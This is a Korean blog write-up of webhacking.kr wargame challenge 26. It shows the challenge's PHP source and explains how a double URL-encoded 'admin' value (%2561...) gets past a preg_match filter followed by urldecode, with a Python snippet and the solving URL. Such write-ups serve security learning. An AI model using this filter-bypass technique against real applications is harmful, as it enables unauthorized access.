소스코드를 보는 것이 문제의 시작이었습니다.

문제의 소스는 다음과 같습니다.

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 26</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }    
a { color:lightgreen; }
</style>
</head>
<body>
<?php
  if(preg_match("/admin/",$_GET['id'])) { echo"no!"; exit(); }
  $_GET['id'] = urldecode($_GET['id']);
  if($_GET['id'] == "admin"){
    solve(26);
  }
?>
<br><br>
<a href=?view_source=1>view-source</a>
</body>
</html>


위의 소스를 보게 되면 15번 라인의 php 부분에서 urldecode가 있는 것을 확인할 수 있습니다.

urldecode가 있는 경우 일단 urlencode를 수행한 것을 decode 하게 만들면 admin이 되지 않을까 하여 다음과 같은 방법으로 문제를 풀어보았습니다.

from urllib.parse import urlencode, quote_plus, quote

# data = bytes.hex("admin".encode())
# 'admin' --> '61646d696e'
# custom  --> %61%64%6d%69%6e

print(quote('%61%64%6d%69%6e'))


위의 소스로 나온 값은 다음과 같습니다.

%2561%2564%256d%2569%256e


이를 GET Method로 보내게 되면 풀리게 됩니다.


https://webhacking.kr/challenge/web-11/?id=%2561%2564%256d%2569%256e




'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No.29(400) - old  (0) 2019.12.31
Webhacking.kr_No13(1000) - old  (0) 2019.12.15
Webhacking.kr_No.28(500) - old  (0) 2019.10.25
Webhacking.kr_No.27(150) - old  (0) 2019.10.25
Webhacking.kr_No.25(150) - old  (0) 2016.12.08
Webhacking.kr_No.24(100) - old  (0) 2016.06.28
Webhacking.kr_No.23(200) - old  (0) 2016.06.28
Webhacking.kr_No.20(200) - old  (0) 2016.06.28

+ Recent posts